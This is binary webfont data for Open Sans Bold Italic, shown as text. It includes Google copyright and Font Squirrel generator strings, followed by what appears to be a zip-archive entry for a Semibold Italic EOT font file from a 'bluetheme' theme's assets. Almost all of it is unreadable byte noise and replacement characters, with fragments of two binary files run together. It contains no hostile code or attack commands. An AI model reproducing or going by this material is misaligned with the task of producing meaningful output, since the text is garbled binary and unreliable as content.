�99��9014$32!#3267#"&32654#"Z�������3g`W�e����R-��iX���U�����[i&0�V��aS_��%����+�
�+�
�2�	+�/�
��/� +�6�>���+
��
�������
+�	
+��+�+�
....�	
........�@��9��9��9�
�9013267#?>32&#"3#!"'�=6=\̣�)ð�hPE@9F�1��M��hF�PZőTT��1�PA>�������s(4>��&+�+�+�<�2�<��7&
+�7��?/�ִ)&+�)�+�5� ��&+�5�:+��. ��#�@+��&+$9�5�29�.� 7<$9�#:�!99��9�+�#2$9�7�99�<�99901467&5467.54632!#"'!"&%32654&/32654#"s��JYfA>��SS�#���;(T<;��������	—�Airjm$gK]cM_�f�0/VGg/1~Z���)4B��
3"x��sZR'*Vw�uu�%m��+�333�/�ֱ��+��+��/��+�6�>��+
�������>��+
��������+�+�+� � �#9�9�9�.......�.......�@��99��9��	9013!3>32!654#"%J-'*A>�d����Ӊl\�+b���M]��Ik���D3{��1%�b�+�3�+�3�
/���/�ֱ�+��/��� ��
�+�6�>��+
�@��
99013!4632#"%�-�_WILX\�^��dWY>:Pc����u�	+�
�+�3�/���/�ֱ� ���+�6�>��+
�������..�..�@��99�	�9��901327!!"'4632#"��=5�$�.��M��hFL_WILX\�����)��7WY>:Pc%���+�33�+�/�ֱ��+��+�6�>��+
�������>��+�+�+� � �#9�9�....�..�@��
999��
99013!3!	!%J-��X����xJ�J)Lf����H��%�I�+�3�/�ֱ��+��+�6�>��+
�������..�@013!%J-����%�s&��+�$3�+�+�+�'/�ֱ&�&�+���+��+��/��(+�6�>��+
�������>��l+
�������....�....�@�&�9��999��"99��	99��9��9��	"$9013336323>32!654#"!654#"%�����+D�i����ӊb\�,`�Ӊb\�+b^���nv��Lh���D3{��/�D3{��1%ms��+�
33�+�+�/�ֱ��+�	�	+�
�
/��+�6�>��+
�
������..�..�@��9�
�999��9��9��	$901333632!654#"%���ъ���Ӊl\�+b^�䧛Ik���D3{��1Z��Ts
D�+�
�+�
��/�ֱ��+��+��99��99014$32#"&%32>54#"Z��������/�KxC�KwK��M�������ù{ہ�z����hs!��
+��+�+�/�3�"/�ֱ��+�	�#+�6�>��+
����� �� +�  � �#9� ..� ...�@��
999�
�9��	$90133632#"&'#32>54#"DV�	������Sx3H�JACzK�DM�J�������JY����{P`��u���Z��s$��	+�
3�+�!�/�3�%/�ֱ��+��&+�6�>��+
�����
��>��S+��
+�+�
 � �#9�9�
...�

....�@��9��9��!$9�!�99�	�9014632373!>7##".%32>54&#"Z��V�:9���/4:H�SX�M1IC@IKAD{I��g�KY�����^L_��XX�ކP`��%�s7�+�+�+�/�ֱ�+��9��	$901333632&#"%����;%B-7t�%j^����������s"b� +�	�+�	��#/�ֱ��+��$+��	 999��$9� �9��$9��9017532654&'.54632&#"#"&��PfJ^y`��ɢc�v9F@X{n��k�-�ZA8+D4D�\��_�T3+';-?�`��^��oL��+�
�+�
�2�
+�@	+�+�/�ְ2��	2�+�6�>��+
�.���	����	..�..�@��999�
�9��99��901?3!!327#"&547^Ą�12��sXAao���sy�T����J#�5~�2>o���^e�+�+�+�
3�/�ֱ�+���
+��+��9��	9�
�999��9��	$90147!3267!#7##"&o-�l\�+b-���Ҋ�-]x\�sD3{������f�^0�+�+�3�/�ֱ�
+��9��901!367!!f'-7%)C����^���b�FR��}�^]�+�3�+�
33�/�ֱ��+�+� +��999��
99��999��99901!3>7!3767!!47#!}V�H
I�3��
>=�^���+��莛P�2����������^&�+�3�+�3�/�
+��
9901#!!!d��As�b�-�}��=!��N���V���s��^<�+�
�+�3�/�ֱ�+��9��9��9901326?!3>7!!"'�D0T6�'80)G�X���Z9�
`e1^��z�3�U������^	.�	+��+���
/�+�	�9��901#7!7!!/#?�s3�+���1����S�����d�'��+�
	�/�	�/�
��(/�&ִ+�&
+�@	+�� ��!&+�!/�&+�)+�6�>��+
�#��� ��
��#�#+��
+�
+�#�$#+�$# � �#9�9�
9�9�
#$........�
#$........�@�&�99��!99��9017267>;3#"&54?654-z�=&��T1ZQB-�US$C:5��'��Sa���AJ���qN,E�6(�y9D�E��/��/�ִ+�+�+013��/�!������&��+�&/�	�/�
��'/�
ִ+� ��
3�&+�2�(+�6�>z�+
�
.�����"���
+�
+�"�"+�!"+�
 � �#9�9�!"9�9�
!"........�!"......�@��99��9��
901>7>75&54?654&#73 3"+d]XB�o�%II)!T'�-z�>%��-bAI)on	3�+E�6(�8D�E��Ta�䪌m'%}3�/�3�	�	+��2�/�+��
9�	�90156323267#"&'.#"me�@jV@^03z=g�;daYL*6}'�m$=<�m(&B����%^,�+�
+�/�ִ
+�+�
�990134632#"&J�GlZISo^DQ���/UmJC\kL���;���+�3�+�3�
+�
+���/�ֱ�+�+�
+�@	+� +�6�>���+
�������>��+��+��+�+�>��+��+� � �#9�9�9�...�......�@��9�
�
999��	90146?3.#"3267#7.�}�!�#vk\5hB��ZRK�E��)�1��H�D���3�"��``/#�G	��$�������+��2�+�
�
+�33��22�/�+�6�>z�+
���������+�+��+�+�....�........�@��9��
901#76?#737>32&#"!!!1�0�-�1)�îq�`K`/+-��*��7�0�h���V�DO]��T�K��s�#�'|�+�%�/���(/�ִ+��"+�+�)+��$9�"�99��	
$9��
$9�%�99��	$90176327'#"''7&54732654&#"s�[ji[��55}�_esT}�66�mPQoqONo�57���Ynk\}�}33{�}]hf_�MonNPnpX
�C�+�
+�3�

+�3��2�

+�3��2�/�+�
�	901?37#73!!3#3#!7X%��'�)rs7��'��%�/��/ݲ���N�������/�#�/�ְ2�+�2�+�	+013#3����^���/����)*5��)+��/���6/�ִ++� ��&+�+�1+�!+�!�& ���/�&�7+�+�
)$9��	399�1�.99�&�#999�)�9��&.3$9��9017532654&'.5467.54632&#"#">54'��c[B^u�_k*8�Ĭ�R���QW�&4����Wd15�3>7�iF9'C.9�fY�D"e9��X�Tj+B'jżs#e:��16U._0mH[��F	/�/�3��
2���/�ֱ��
+��+014632#"%4632#"�UM�NR��TNADOQ�fNPlIWnNP84IW}��\�6��+�8+�+�8+�4.
+�4�#(
+�#��7/�ִ+�� +�++�+�+�+�8+�+�#%14$9�.4�29�(� &1$9�#�%9014$32#"$732$54$#"4632&#"3267#"&}�^��]������Í������妤����Ў�Kr[ohoh+�;������^��������ZƤ�椦�������H�:�����9���m�Q�+�3���/�ִ+��+�
+�+��$9�
�
$9��9014>32373#7##"&732>54#"�\�dx<'���Pzgr�V-N5XIe�u�xgZ�B\h�zoS�Lj�HZ
55H��������'ϛ����g�ϛ����gm�%?3�/��
+�@	+�/�ִ+�
+�@	+�+015!#m��d��l)�j�!�/�
�
��/�ִ+�+017!)55���}��\�-6��+�8+�+�8+�,.
+�,�,.
+�@,*	+� 2�"6
+�"��7/�ִ+�� +�-+�.2�-�2+�%+�%�+�+�8+�2-�*$9�%�(9��)9�.,�($9�6�%9014$32#"$732$54$#"!2##32654&+}�^��]������Í������妤��14��XV��C3HRGQ5��^��������ZƤ�椦������j��V!��)���>=;;��3��/����/�+017!--���X�H�+��/���/�ִ+��+�+�+��99��99014>32#".732654&#"�]�[]�\\�^]�]�[ABZ[AA[q]�\^�\]�[Z�^?[\>?^_m%�d�+��/�3��	2�
+�@	+�
+�@	+�/�ְ2�
+�2�

+�@
	+�
2�
+�@	+�2�+0135!5!3!!#m��Hn�o�������q����m;J+�H�+�	�/���/�ִ+�+��99��9�	�999��9017%>54&#"'>32!;#o<3#VfdJ�n{�,`��[)J��[>8*(R�9<~aFjef_�\9-�%z�+��#/��
/���&/�ִ +� � ��+�/�+�'+��9� �9�#�9�
� 99��99��99��901532654&+732654&#"'632#"&\}�Lb4>"ZTa4-VfR����fs�ֲK�q�H=:%3�89((B�\odWu!�����!%�/���	/�ִ+�
+��901567!�O�O.�V�X�8�>����^��+�+��+�33�/�3�/�ֱ��+���+�
�+�6�>���+
�>���+��+�+�+� � �#9�9�9�...�...�@��99��999�
�9��$901!3267!#7##"&'#DV-�?0Z�-b-��u�3ME�J�{F7<A������'B�������L�/��
+�@
	+�@	+�	2�/�
ִ	+�	�+�/�	�+�+�+013!####"&���\���>T����P��3����)�}jD�1�>�+�+���/�ִ+�+��	
99��9��99013254&'73#"'�?>f>O`�'���VB��R"-	�H1�t~�J��
%�+�/�ִ+�+��9901%3#67��Ϻ�T@������mb-Q��)�H�+��
/���/�ִ
+�
�+�+�+�
�
99��99014632#"&732654#"���a�p���P?TL@W���i�|o�zk�H7�
57%7���n)���o�N^g�3�1�N^g�3�1��aJ�'��&{������a��'tq��&{��������'�J'�Z��u)���y^&_�+�$+�/�
��'/�ֱ��+�!+�(+��
$9�!�	$9��9�$�999014>7>?!3267#"&4632#"&D9n�]FspzE�2q�\����mYISo^DQ;R�sY>Y>!Ni�LSV7v D�}�tVlJC\kL�����s&$CR����s&$v�R�����s&$�sR����`&$��R�����V&$jwR�����
&$�5X��o�:�+�3�	�+��2�
+��
+���/�+01#!!!!!!!!#{�P6�C�7�"O6��J�V�=P��������\��`X��{�7�&&z3��5�s&(C��R��5�s&(v}R��5�s&(�9R��5�V&(j)R��5�s&,C��R��5�s&,v��R��5�s&,�IR��5�V&,j�QR%+�
��+�3��+�3��
+�33��
22�/�ֱ�+�6�>��+
�.�.��������+�
+��+�+�
........�@��990173! #!32654&+3#%7���'����=}�j��|��sK�7�T�d����c�T���'��������5`&1��R��{���s&2CwR��{���s&2vR��{���s&2��R��{���`&2��R��{���V&2j�R��7			'��-1���-���Ӗ)���+���ј-�՘-d���&q�+�!�+���'/�ֱ��%+��(+��999�%�$9��	
999�!�999��&999��	99901?&5$327#"'&#"3265'dyb�\�{i�u[���|l�TEY~�rs;^|�q���	��L�u����A�G�o E�+����6%�=�P������s&8CDR������s&8vR������s&8��R������V&8j�R���?s&<v{R5w���+�3�+�3�


+�
�2�
+�3���/�ֱ�+�6�>���+
�.�.��������+�+�
+�+�
........�@�
�9013!32!#32654+5522#���V>u7���J�������#�w����:��+�	�8+�
�1/���;/�(ֱ��.+��" ���<+�6�>��+
����5��4��45....�45....�@�"(�,1$9�.�999�8�:9��9��9�1�999013276$32#"'532654&'.5467>54&#"#"'��=6�%�/��b�I.,9kK�ֻn��e^5R^FZuBMOU`x�+ЭZF����̴�r�J*55+S�S��=�NB5(F>HtDTzB%N9>Igx�=Ƶ��Z���!&DC���Z���!&Dvs��Z��� &D����Z���&D���Z���&Dj��Z����&D�Z���s,:C��%+� +�*3�
�	+�+�3�A�+�7�; 
+���D/�ֱ-�-�%+�$+�$�?+��E+�%-�*07$9�$�&'4$9�?�	 ;$9��99�%�#&'$9��-0$9�7;�4?999�	A�99014632373>32!#3267#"&'#7##"&%32>54&#"%32654#"Z��`�29�,�\������4ohB�L��m�/�G�\��1A:H|JBEDxF�-��iX���_�MW�Z1>����`g.(�V6<^�XM��T\��P`��{aS_���Z��s&Fz���Z��B!&HC���Z��B!&Hv-��Z��M!&H����Z��B&Hj���%C!&�C����%P!&�v�@��$M!&�����%7&�j��H���',[�+�"	�)/�	��-/�ֱ��&+��.+�&�

$9��$9�)"�9��9990146323&''7&'77#"&%32>54&#"H��S�.a�X�"Zv�b�L�Q@�����/NKBqAMFIr?���>?�a��q".�=N��jk������ܱQ[o�dM[j���%�&Q�+��Z��T!&RC���Z��h!&RvX��Z��U!&R���Z���&R���Z��T&Rj�m�%�.�
/��/��/���/�ְ2�
�2�+015!4632#"&4632#"&m���JBBIJAAKJBCHJAAKd���LKNIFRNKMQGFQN+��f�%r�+�!�+���&/�ֱ��$+��'+��999�$�$9��	
999�!�999��%$9��	99901?&54$327#"'&#"32=+wH���`F�TB����{fm�m#5QEH1r��k��M�8Xnik����5��}�~�
���o���!&XC���o���!&Xv��o���!&X���o���&Xj���s��!&\v���h#��+��/�3�$/�ֱ��+���+��%+�6�>��+
�������>��+�+�+�"+� � �#9�"9�9�".....�"...�@��9��$9�� 99��901!3632#"'#32>54&#"D�-B3�����≲]H�CHExKKBGvI��̓������������{P`��XX���s��&\j�%?^E�+�3�+�3�/�ֱ�+��/��+�6�>��+
�@013!%�-�^��{��{�!��+��+��+�	�+��


+�
��"/�ֱ�#+�6�>��+
�.������	���
	+�
	+�..�	

......�@�
�9901$32!!!!!!# 327&#"{�\�E)5�D�7�#P5�]W���7�yXF�>jy�s	���������'�� �'���Z���s#09��+�!3�
�+�'
�+�3�7�+�-
�1
+���:/�ֱ$�$�5+��;+�5$@	!*1$9��99��99�'�$999�-1�*5999�7�9014$32632!#3267#"&'#"&%3254&#"%32654#"Z���h�������3f`W�e]�ot�.?�{��/IIm�JEGpE�-��hX���I�������[i&0�.(MDDM��[b
�`ey�kaS_����?V&<j#R7�`!�/�	3���/�+��9015>7!#&'7?�4Rh2�?ci�9�B6�H5sXP�
�L�	/�8+�/�8+�/�ִ+��+�+�+��	99��99014632#"&732654&#"�on��rn��00*77**6�m��ik�o-44--33;��E�
/�3��
+��
2�/�ִ+��
+�+�+�
�
99013232673#".#";;�1MB:"0�B�1K@;!1�5!' 37��!'!83)�j�!�/�
�
��/�ִ+�+017!)55���)�j�!�/�
�
��/�ִ+�+017!)55���)�j�!�/�
�
��/�ִ+�+017!)55���)����/�
�
��/�+017!)1T1���)����/�
�
��/�+017!)1+1���s�Z�"�+�	+�/�ִ	+�+01673!sg��[g������j�R�"�+�	+�/�ִ	+�+016!jYjg���'������� �/�	+�/�ִ	+�+016!fXjg����'�s��
�	+�3�	+�2�/�+01673!%673!sg��[g���g��ab���������j���+�
3�	+�2�/�+016!3>!jYjg��/}g���'�5tL�����B��/�3�	+�
2�/�+016!3>!fXjg��2y	d����'�9{B��h��).�
/�+�+�
/�ִ+�+�+014>32#"&hU�ix}��u��j�a�|�Ȇ�����9&'1bHZ��/�ִ+�+015H����'ϛ����gHP��/�ִ+�+��90157���n�N^g�3�1���!3��?����J/J-�
3�+�
/�3��2�

+�@
	+�/�+��99017!3##7'3?/�yw#w �!��:
<�-�ͨ����JL)����&o�$+��
+�
�$

+�3��2�$

+�3��2�'/�&ֱ�(+�&�999�$�"9��!9��9�
�
9017367#73632.#"!!!!327# )%	
}'�WG�d�V}WX.a�8\'��+%��Yg��~�B�C0��.9�1���"Q�x{?��?�j�����+�
33�+�222�+�+�+�D+�2�/�ִ+�
+�@	+�
+�@	+��+�+��+�+�+�6�����+
�.���"��
��..�
....�@��99��9015!##33#7###j4Ǩ��������!����<�����/�y��o�^``!!`��`�����%�t&IL����%��&IO��%�-8<Gm�9+�<3�6+�*3�
�/2�� ��-3�8�,2�+�$:;$3�3
�'2222�	+�/� 3�
�@22�
�F��H/�:ֱ;�<;:+�9�9/�<�:�= ��C�I+�6�>���+
��
��4����>��+
�1���(��#��>��+
��
+�	
+�4�4+�1�1+�(�$(#+�'(#+�1�21+�4�34+�
#(14........@	
#$'(1234................�@�:9�&%$9�;<�@F99�F�99�
�=C$9013267#?>32&#"!7>32&#"3#!"'5327!!"'!4632#"�=6=\̣�)ð�hPE@9F�)ð�hOEA9E
�1��M��hF=6�$�t�M��hF��-�`WILX\��PZőTT��1�PA>T��1�PA>���������^��dWY>:Pc�%�;8<T�9+�<3�6+�*3�
�/2�� ��-3�8�,2�+�$33�3
�'2222�	+�/� 3�
�2�=/�9ֱ<�<�:+�;�>+�6�>���+
��
��4����>��+
�1���(��#��>���+
�9�:��<�;���
+�	
+�4�4+�1�1+�(�$(#+�'(#+�1�21+�4�34+@

#(14:;..........@	
#$'(1234................�@�<9�%&$9��99�
�99013267#?>32&#"!7>32&#"3#!"'5327!!"'	!�=6=\̣�)ð�hPE@9F�)ð�hOEA9E
�1��M��hF=6�$�t�M��hF�I-���PZőTT��1�PA>T��1�PA>��������������Q�_<���I��I��;s������;d����J��+)h3�s�D
��J��m\�hm9���)H^��hBh�h��hh��hhXhNh7hVHH��hmhmhm���\���5�{j5V5?5�{�5�5����5%5
5
5�{�5�{�5=)?�����'�����J�����^���w93�Fo��Z�%�Z�ZuZ��%T���%`%`���%`%=%�%�Z���Z^%�H^�ofN}?��'�s�����h���hmJ��h�h��hshXh��o��}�Hhm�)�}��m�hm;\o��=�H���1���aa����������������)���{V5V5V5V5�5�5�5�5j%
5�{�{�{�{�{h��d�����������5F���Z�Z�Z�Z�Z�Z�Z�ZuZuZuZuZ`%`%`$`%�H�%�Z�Z�Z�Z�Zhm�+�o�o�o�o'�s��'�s`%5{Z��o7�o;�s�s{�==�}i�)�)�)�)�)�s�j9��wswj����h�}�H����/h)�j`H�%H�%�%�%2222l�rX
���6x����J��V�6��F��	8	L	n	�	�
���D��
:
�
� ��X�v�X��^�P��>~���4��N�<���8����F�`��n��b���� ~ � � �!�""�"�##�#�$v$�$�%%8%�&&T&�&�'h'�( (d(n(�(�) )B)R)b)r)�)�)�****&*n*z*�*�*�*�*�*�*�*�+\+h+t+�+�+�+�+�,B,N,Z,f,r,~,�-�-�-�-�-�-�-�.�.�.�.�.�.�.�.�///�/�/�/�/�/�/�00�0�0�0�0�0�1Z1f1�22�2�2�3D3�3�3�3�3�3�3�3�3�3�3�3�3�3�3�444>4b4�4�4�55B5R5R5r5�5�5�5�6X6�6�6�78,96�H;mf	r	r	�	�	*�	�	&�	�nDigitized data copyright � 2010-2011, Google Corporation.Open SansBold ItalicwebfontOpen Sans Bold ItalicVersion 1.10OpenSans-BoldItalicThis font was generated by the Font Squirrel Generator.���ff�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a������������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~������������	

��������������uni00A0uni00ADuni00B2uni00B3uni00B5uni00B9uni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni2010uni2011
figuredashuni202Funi205Funi2074EurouniE000uniFB01uniFB02uniFB03uniFB04�����K�PX��Y�F+X!�YK�RX!��Y�+\X� E�+D�
 E�l+�+D� E�
L+�+D� E�,+�+D�
 E�+�+D�	 E�
$+�+D� E�	+�+D� E�+�+D� E�U+�+D� E�+�+D� E�C+�+D� E�#+�+D� E�+D� E��+�Fv+D� E�+�Fv+D� E�p+�Fv+DY�+PK!YQ��2�2�Cbluetheme/assets/fonts/OpenSans/OpenSans-SemiboldItalic-webfont.eotnu&1i�2�T�XLP��[ @(� Ӻ�	Open SansSemibold ItalicVersion 1.102Open Sans Semibold ItalicFFTM_���GDEF( OS/2��#H`cmap�\l���cvt *Y�6fpgm�/��egasp<glyf�0��Du�head����{�6hheaa�|$hmtx��:|,�loca����maxp��� name+�F6���post-����prep���u���ɉo1�������"X�3�3�f��@ [(1ASC! ����X �R� ��0 ~�1Sx��� 
    " & / : D _ t �!"���� �1Rx���     " & / 9 D _ t �!"���������q�M�����������������r�;�� ��	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������������������rdei�x�pk�vj��sgwl|���cnm}�b����������ڹ��������y��������������������q�z�R�������������������������,�K�*PX�JvY�#?�+X=YK�*PX}Y ԰.-�, ڰ+-�,KRXE#Y!-�,i �@PX!�@Y-�,�+X!#!zX��YKRXX��Y#!�+X�FvYX��YYY-�,
\Z-�,�"�PX� �\\�Y-�,�$�PX�@�\\�Y-�, 9/-�	, }�+X��Y �%I# �&J�PX�e�a �PX8!!Y��a �RX8!!YY-�
,�+X!!Y-�, Ұ+-�, /�+\X  G#Faj X db8!!Y!Y-�
,  9/ � G�Fa#� �#J�PX#�RX�@8!Y#�PX�@e8!YY-�,�+X=�!! ֊KRX �#I �UX8!!Y!!YY-�,# � /�+\X# XKS!�YX��&I#�# �I�#a8!!!!Y!!!!!Y-�, ڰ+-�, Ұ+-�, /�+\X  G#Faj� G#F#aj` X db8!!Y!!Y-�, � �� �%Jd#�� PX<�Y-�,�@@BBK�cK�c � �UX � �RX#b �#Bb �#BY �@RX� CcB� CcB� c�e!Y!!Y-�,�Cc#�Cc#-���
�<�+�+�+�+�/�ִ
+��+�
+�	+013!%!!�I�y����Jh�!��X�7�
+�	/�+�/�ִ
+�+��
99�
�90174632#"&!![U9D^L>E���`PdA=ObC�����}�2�+�3�+�2�/�ִ
+�	+��9901333�H��J������37�G�+�333�+�333�
+�$3��$2�
+�$3��	

$2� /�ִ+��+�2�+�2��+�+�!+�6�=h�+
�=��\+
��+�+�+��	+��
+��
+�+�+�+��+��+��+��+��+�+��+@	

................�@��9017!!7!3333!!!###73#3T��'y�y�y�y���T��y�{�y�u�R������Z��Z���^��^��=��H%+s�/�3��&2�
+�@	+�2�/�#/�3��2�,/�ֱ � � ��
+�/�
+�
+�@	+� �)+�� ��

+�-+�6�>j��+
�����
���+�>��+�+�+��
+�
+�>��+�
+�
+��+�>��+�"+�#+��&
+�>��+�+
+� � �#9�"9�+
9�9�
"+......@"#&+............�@��9�� $9�#�
990175.546?3&'#7&>54'=N�\T����%�#��V�nP�u8��-�-�nDYYxVes��*8�8�u����B�B��3XrN����
�b)?]��bMe,���F�
+7��+�)+�.�+�+��)
+��"4)
+�"��8/�ִ+��+�+��+�,+�,�2+�%+�9+��9��999�2,�")999�%�9�.�,99��%299�"�99��99014632#"&332>54#"4632#"&732>54#"�j�w�o�s|�Z>��\P4W;R7X5^j�v�o�q��Q4X;T4W9h�'�����͚��-��Jb�t�f�z�N�*�����˚���u�h�s�B��Z�&1w�+�+� �+�/��2/�ֱ��+�'�'�,+��3+�'� $$9�,�#999��$9� �9�/�$)$901467&54632673!'#"&73267>54&#"B��XṠ����mH�q���^j�|���p[M�J���a>�iH=W^^��b���բ���[��p����PG��Vm67}J��m\KuDBGl���"�+�+�/�ִ
+�+013�H����N���
 �+�/�ֱ�+��	9013#N���s��WC��~�����f��/�
 �+�/�ֱ�+��9013��s�������$�G
�����������V�7%%'�Gb%�t�����f�%�ò+���-��=s�Ȑ
u�U�/�3��2�
+�@
	+�
+�@	+�/�
ְ2�	+�2�	

+�@		+�
	
+�@
	+�
+015!3!!#u{�y���w�}�����w����V� �/�	+�/�ִ

+�+0163fi_�}�������/�R�!�/����/�ִ
+�+017!/-�-���!��N.�	/�+�+�/�ִ
+�
+�
+0174632#"&!^T8C_MB?^Sc?=NgG����#3\+����J\��L�
D�+��+���/�ֱ��+��+��99��9901$32#"73265#"\���ž��¿�NZd�c�a�k�������ꏖ����o���
S�+�3�+�3�/�ֱ�+�6�>��+
�������.�..�@��
9013#67�����69N�y=�Jf��7/u��?�G�+��+�	��/�ֱ�+��99��9�	�999��
901#7>54&#"'>32!$װ}8cZF�esx�u��N���n)����{FUc<O�aS��l�ë�����?�(i�'+��+��
'
+���)/�ֱ#�#� ���/��*+�'�9�
�#99�� 99��99��9017532654!#732654&#"'>32#"T�^����%j��cZH�Xhx�y��ƪ������;�15�}۷�}O[3;�QA�����{��r��B�
��	+�3�+�	
+�33��
22�/�	ֱ�+�6�>���+
�	�
�����+�	�
	
+�	
+�
.�

.....�@��9��901733##%!67#%#���+�D�E���DE3T=���H��=�5��Vd5��X���+��
+��	

+���	
+�@		+�/�ֱ
�+�6�=s�+
�
.�.�
������.�
....�@��9�	�99017532654&#"'!!632#"5����|~_�X��-�j]>�׌���;�d��i#D���϶��o��m�(j�+��+�
�#
+���)/�ֱ��!+��*+�!�
#$9��
99�#�9��
9�
�9��9014$32&#"3632#"&732>54#"oy�%�uV+Hm��A}ɜ������c[Q|D�3YE0����������ƭ�����n�a�f�&:G]}��"�+�+���/�+��9013!7!}�^+�!�
�ͨ��L��^�#/w�+��+�-��0/�ֱ�+�$��+��� ��*�*/��1+�$�9��!'-$9�*�9�-�!'$901%.54632#"&732654&'>54&#"Lp[O�˳О�xi{����vcs�a[���NAs}`P]r\)�F�W�۲���BN�ry�iȽ]p�g[�56�oSl'+|_Q[p\��7�&k�+��+�#�	
+�	��'/�ֱ�� +��(+��99� �	999��9�	�9��9�#�990175326##"&54632
#"32654&#"\ys��;q������t������\Xu�`VRD�+�
�̺�
����]���in��l�^�!���jM�	/�+�/�+�/�ִ
+�+�
+�+��	9��99��90174632#"&4632#"&!^T8C_MB?�^T8CaMB=^Sc?=NgG�Sc?=OfG�����j*�/�
+�/�ִ
+�+�
�9901634632#"&d_g�}��^T8CaMB=��� ����Sc?=OfGs��5	s��G��y������u���/��/���/�	+015!5!u��X�������s��75	5s��J���/X�y�����%t�+�"�	/�+�&/�ִ
+�2��+�/��+��'+��9��	%999��"$9�"�%999��90174632#"&632#>7>54&#"�^T8CbLB=�˫��h\�k{kO%UQM�N^Sc?=OdE0q��x�wJvU��ZMPQ0FX7%d�F��8D��5/�0+�/�3�;+�"2�A/�+�)/�+�E/�ִ-+�-�+�9+�9�&+�+�F+�6�=��+
�>�?������>?....�>?....�@�&9�)025$9�05�39��29�A;�&-$901$!2#"&'##"&5463232>54$#"327#"$%326?&#"d���$�wքbie�{���4UJ\eOH|G������������Ʃ@pRw)@54V�R�����蹰�ۦ\J�����
�xr-\��z�������V�Z�8坐��k���N���+�33�+�3�
+�	3��2�/�ֱ�+�6��S��+
��������+�	+��A�I+�
+�
 � �#9�
..�	
.....�@��901#!#!!&5y��)��9m(7W��H��jf��4��F�� ��+�3��+� �
+���!/�ֱ
� ��
�"+�6�>��\+
�.� .���� ���� +� +� ......�@��	99��9��	99� �9013!2!'32654&+732654+F5��㭙lw����ߓ�xt�(Nj�ߵ������l�Ɉ~bg�yo����!�@�+�� ���+�
��/�ֱ
�+�
�999��901$32.#"327#"��`�٬^?�Z�򑥡������!��\�"0���̴�D�C)F�	`�	+�3�
�+�3���/�ֱ
�+�6�>��+
�.�.��
�����
....�@�
�9013! !'32$54&+F5q$����{�����������l�ɬ8ȸ�F��i�+�	�+��
+���/�
+�6�>��+
�.�.��	
���
��	�	+�	+�	......�@013!!!!!F5+��T�)�`+��u�8�F��	`�+�	3�+��
+���
/�ֱ	�+�6�>���+
����	���	+�	+�....�@013!!!!F5+��`�-���:�����\�~�+��+�
�
+�3��2�/�ֱ
�+�6�>��+
�.�������..�....�@��99�
�9��901$32&#"327!7!# ��w�o�gZ��������mjP��+�pՄ������)1�V���ͷ�!s� (%$F����+�333�+�333�

+�	3��2�/�ֱ��+���+���+��
+�6�>���+
�>��+
��+��+�	+��
+�	
....�@0133!3#!F5�6���ʋ���V�J��mFh�?�+�3�+�3�/�ֱ��+��+�6�>��+
�@0133F7����J���hs�Y�+�3�/���
/�ֱ�+�6�>��+
�������..�..�@��9��90173273#"��TE�5+��.��h������Z��Ff���+�33�+�33�
/�ֱ��+��+�6�>���+
�>���+��+�+� � �#9�9�..�..�@��
9��
901337!	!F5헍���A����u��>��c���d��Fy�E�+��+�3�/�ֱ�+�6�>���+
�������..�@0133!F5�+���D����+�$3�+�33�/�ֱ��+��+�6�>���+
��������I��+
�.�������>���+
��	�����	....�	........�@��
99��9��9013!3!#67###D5Cm^X���'/�}�s	.����}�Jh���B�v��D����+�
33�+�	33�/�ֱ��+�	�+�6�>���+
�������>��+
����	�
��>��+��+�+��+�+� � �#9�9�9�9�......�
........�@��99013!3673!#D5�2�����f
����6A�J�E��������
D�+��+���/�ֱ
��+�
�+��99��9901$32# 32654&#"��V�����������{����������L�+
���S����F��
v�+�
3�+�3��	
+�	��/�ֱ
�
�+��+�6�>���+
����
���	
+�
+�	....�@��9013!2!#32654&+F5N����ns�^��uyw�������쟒md�����S�+��+���/�ֱ
��+�
� +��
$9��9��
9��9901$32!# 32654&#"��V��������������{�����������[��H+
���SѪ����F��
��+�	
33�+�3��
+���/�ֱ
�
�+�
�+�6�>���+
����
���
+�
+�....�@�
�
99��	9��9��9013!2!#32654&+F5R����Ϻ{�{��v|w��ĥ�4��H����i\'��;�$g�#+��+���%/�
ֱ
��+� 
�&+�
�
#999��	99� �999�#�9��
 $9��9017532654&'.54>32&#"#"'����R�id5{�ͰV��m�?g�v���7�auhEkSCn�O��l\�Nu^/G=Aa�u�����J�+�3�+��22�/�ֱ�	+�6�>��+
�������..�@017!!#�-�+��������������v�+�
�+�33�/�ֱ�+���+��+�6�>��+
��
�����
..�
..�@��
99�
�90147332673#"&���wy��'���8�����SW��wXFfq����D������H�Q�+�+�	33�
/�ֱ�+�6��6��+
�������.�..�@��90133673!��J	FC������wg�L����J�����+�3�+�33�/�ֱ�2�� ��+�/�+��+�
'+�
�+�/�+��9��99�
�	9��99901336733>73!'7#!��
S;��Tf��q��%/F�������݆I����X�+N�JJ�j������%�-�+�3�+�3�/�	ֱ
�
+��
9901#3!	!oJ����
�����J����:�P����g�+�3�+�3�	/�ֱ�� ���/��
+�6�>��+
�������..�..�@��9013!#���
��r�w��c��o��)����	.�+��+���
/�+��9��901#7!7!!'!R��+�#���+�?Ϭ������L�+��/�3���/�	+�6�>���+
�.�.�������....�@01!#3}�'���'�����g����E�+�3�+�3�/�ִ'+��+�'+�+�6�����+
�@013#������J�q����U�+�3��2�/�3��2�/�	+�6�>��+
�.�.�������....�@0173#7!�%�1�'���������%��+�/�ִ+�+013#%`���N��[��N�D����H�/�+�+�/�+017!�1������! �/�
+�	/�ִ
+�
+0153#.�/U�A���?�^��f h�+�+��	+�+���!/�ֱ��+�+�"+��$9��
$9��
999�	�9014632373#7##"&732654&#"^��a�'
>�������QHR�f^LU�Zo�`�[W�����˾fe��Xk���/��P#\�+�+��
+� ��$/�ֱ��+�
�%+��$9��
 99��9� �
99901333>32#"&'#32654#"/J�G
2Z�V����b�(
@�]UU�V�Q�c��?�/qW϶���ZV�u`k��ɠ��^���f=�+��+�	��/�ֱ�+��9�	�999��9014$32&#"3267#"&^�
���Fzc��pcJ�A������S�=�5���ox, �G�^���!p�
+�+��+���"/�ֱ��
+�+��
+��#+�
�$9��$9��999��990146323673#7##"&732654&#"^��Y
L��X�\���R�aWYU�Xq�dIJ�hf��jZ˾ˤ�[n���^���f#i�+��+�!�

+�
��$/�ֱ
�
�+��%+�
